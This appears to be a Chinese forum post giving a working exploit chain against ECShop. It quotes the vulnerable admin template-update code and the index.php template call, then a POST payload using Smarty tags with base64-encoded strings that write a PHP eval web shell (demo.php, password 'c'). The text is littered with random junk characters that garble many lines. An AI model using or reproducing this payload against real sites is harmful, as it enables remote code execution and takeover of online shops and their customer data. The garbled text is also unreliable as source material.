首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板$ g6 F8 n. j' q
! k* [6 ]( P. ~" q2 ]2 K而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了9 \8 p! b- A4 O5 _' n
但是ecshop似乎不支持{php}{/php}这个标签来执行php代码( X8 \3 k! j* b. x6 \
admin/template.php) R4 k* I9 [* V+ \; n" p
3 [, B6 r c& o; ~5 A+ ]1 C, e1 A
1 if ($_REQUEST['act'] == 'update_library') 9 u# F) z1 K, Q; S8 ]
' H, b7 d; u+ a0 k0 d; C0 V
2
2 I/ z8 v5 [) c8 Z. j, u# q
3 T4 k4 L' q2 j9 g# h# I3 {
1 R `$ t0 j# t2 k8 K: B
, l" P- F' ?+ Q$ s8 M4 check_authz_json('library_manage'); 6 Y- ?' o1 Y% l% r0 W4 @
! [; w9 ]) J6 F$ U4 v8 o
5
H, ?, F; H* D, V( U+ v. T6 I* }2 y" Y6 G6 U
6 $html = stripslashes(json_str_iconv($_POST['html']));
' [, m/ Y( k: D: X
! N# G0 H( h3 W1 t7
0 T. y& c3 B; }/ b% o- E( `5 k- Z0 g6 a# ?; J/ w+ _* `2 T
8 $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件 % ~4 n7 b9 c1 E9 w& e
( @4 T& C/ @- [2 L& R! i1 b) |
9
8 x4 T7 P; @. A/ a
2 o# c& X% X4 v2 [10 $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符 - J5 I$ U% o' B9 T1 F- q0 k9 c& {* I
; ]8 U1 w- A8 J5 m8 l4 Q
11
, o( v: n" c/ }8 @
& P4 ~( s6 l) S3 x1 `7 @12 $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file)); 6 i$ J4 {7 m& X& Z5 F
% Z1 q: ]9 D& ?
13
+ A$ P* F7 D6 ]8 ]
8 { b8 A4 A0 j) e9 s( c14 if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出
: X( g4 M) a/ b6 k( ]
2 p7 a# e4 M3 Q. N15 {
' |( f, h7 z4 J( z5 l+ K0 l8 S/ u, t
16 @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html);
, ~4 V9 e0 {" L9 i2 i3 ^1 m) d& N) G7 Q- X# }/ x
17 make_json_result('', $_LANG['update_lib_success']); 6 K/ G0 W" B( a4 e+ m
* g# v5 r, Y$ Y. c# C+ P/ M18 } ! r& ~, k D! z& q3 t: G
. X% S6 T) m# n) i* D19 else
: s' p6 B! q$ f8 P# T# o
4 f2 U& @9 `* \0 {! L: M( ], ]& l20 {
: Q* n1 `% {7 G/ d$ c. Z9 l: |! v( _
21 make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library')); ' b- A- w, a; q: ^$ b- l
; [& V+ p& K. l, u) d
22 }
6 O6 P( T |! B
6 U8 R" G) v( G( }: l" K23 }
6 |8 H- i# L2 N6 m# ~1 a- k+ z9 ]% ~' n7 ], U' X% I: @$ E
那么找个比较方便调用了模板的文件
# e0 v) a4 F7 \7 ]% U3 qindex.php" V. F& f# S! O0 c t
5 Y" R& E7 E5 D6 B& D- m5 O' k
1 if ($act == 'cat_rec')
' a$ g! h" j: b1 Q9 P) m7 q/ g: N/ f1 e
2 + W5 H, v; i8 k# V% ]; B7 o% m5 R) m
$ }! Y9 H) B9 X' G3 m9 t, X- U$ W3 { ; b7 U9 O2 e$ [
" L5 C9 E1 y. R& l2 l; ^9 E k4
* S, r' g9 O3 e6 T0 s' s4 j- M) R( z" m0 j6 @! H% W- V& q
5 $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot'); # ]4 g4 Q' i+ i8 [
' a& \0 |/ \) Z [
6
; A" a2 J# ^! t" @; S
5 ]7 u2 q; N( |; U8 O) L, x# E7 $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1';
* I5 s" i0 u; j0 O* w6 [% h) I+ S/ E0 N& G
8 + d- G4 r0 x2 t) o b1 a) U
+ i5 k G( t5 ^6 f2 [6 H- p9 $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0'; - C$ \1 j( n+ G( n& f
# F' I7 j* @2 z+ U" k
10
% ^# t& m+ L; ] i9 @+ c
4 K, r- E d0 O2 I) f$ K11 include_once('includes/cls_json.php'); % S3 N0 h* W8 @- g: O h( y
/ q/ F) J' c; n, y, {1 z' Q" z12 4 @" `/ D, @6 z& U5 v$ o
3 y* x4 k( J! `- O: _+ r9 s13 $json = new JSON; / B0 z. o: g) R! F$ A
* q2 `& o8 A1 P9 k& w
14 2 l$ c: l9 u% D$ b" G
' m7 Y8 l6 a( i( Q; h& r15 $result = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id); 6 W. a2 [/ o @
& h! {) Z( k- v, I1 `& z8 ]. e16
: `2 W$ |/ i' n. u/ w# m! L0 Q5 q# a: q, A- ^
17 $children = get_children($cat_id); 2 A0 \" S/ B% T7 z" f
( k [- n6 L0 o, U
18
' @4 Z8 @- R3 R; f1 F7 q
( g% I4 B, g" _5 Q19 $smarty->assign($rec_array[$rec_type] . '_goods', get_category_recommend_goods($rec_array[$rec_type], $children)); // 推荐商品 n2 B: ]2 C' c' K$ g5 m; R
+ N6 k) }$ `6 O" w" [
20 3 s) T2 Z/ |7 t4 g
1 }" F+ Y' T) Q, w
21 $smarty->assign('cat_rec_sign', 1);
( F5 e" d# o. J2 I7 t5 m+ U, Q0 Q) s0 S) E+ k: F" L
22
$ z0 i8 i3 k6 \% y
2 ]' p3 ~ j' c0 v( r23 $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best
* r: F* V' z) {6 s6 K9 @9 F- ?9 {4 \$ V# r! @& s
24
( R3 y8 Q! C3 n8 f8 e
$ Z7 o% I1 o; O% r25 echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi'; " W! _1 s3 t9 Z5 W, [6 V
+ q6 M0 d. v1 @$ X6 Z+ g5 `& X7 f26
* W* w0 u- ? ^6 A2 j0 C3 y9 q( b' `6 P0 C
27 echo $rec_array[$rec_type]; . V4 r" a T/ r+ c) Z/ I
8 v9 }- K$ e9 o9 M$ \
28 / `! A$ N% o0 A" e2 c: |8 l
% [' m [- U. k5 h2 n- h% J29 die($json->encode($result)); % [& y" S% t% P' B# x5 {* e
2 T5 K9 `; I5 b1 l30
2 h2 m ^1 [# w' R! ?" N. a/ g0 u" W4 n! `: k6 C: @+ G$ ]
31 } " ~; a4 E+ t8 L: v4 {5 p
q. g& t0 N3 G8 e( `3 \& C8 n! X2 L: R
那么就有利用方法了
, s) D' O; i) R+ @; `7 bpost包到http://localhost/ec/admin/template.php?act=update_library
8 E- |- G: X4 O. F/ ]4 b$ jPost内容:1 B$ V& Z& z6 t/ `5 R) d. i5 Z6 M
4 n: @' I. f* R
! y9 H) ^" k9 _- K4 ?: j1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if} & g$ Y% u7 u% O s( h
6 E5 U7 R0 U3 e* p然后访问http://localhost/ec/index.php?act=cat_rec
4 A g7 @7 _: `
3 _- s: t- _$ m8 k0 e/ ~shel地址:http://localhost/ec/demo.php2 _/ B% M ]; j; G7 @
密码c
/ c4 V( c' _+ J8 ?: y# V6 W. N# g9 H
|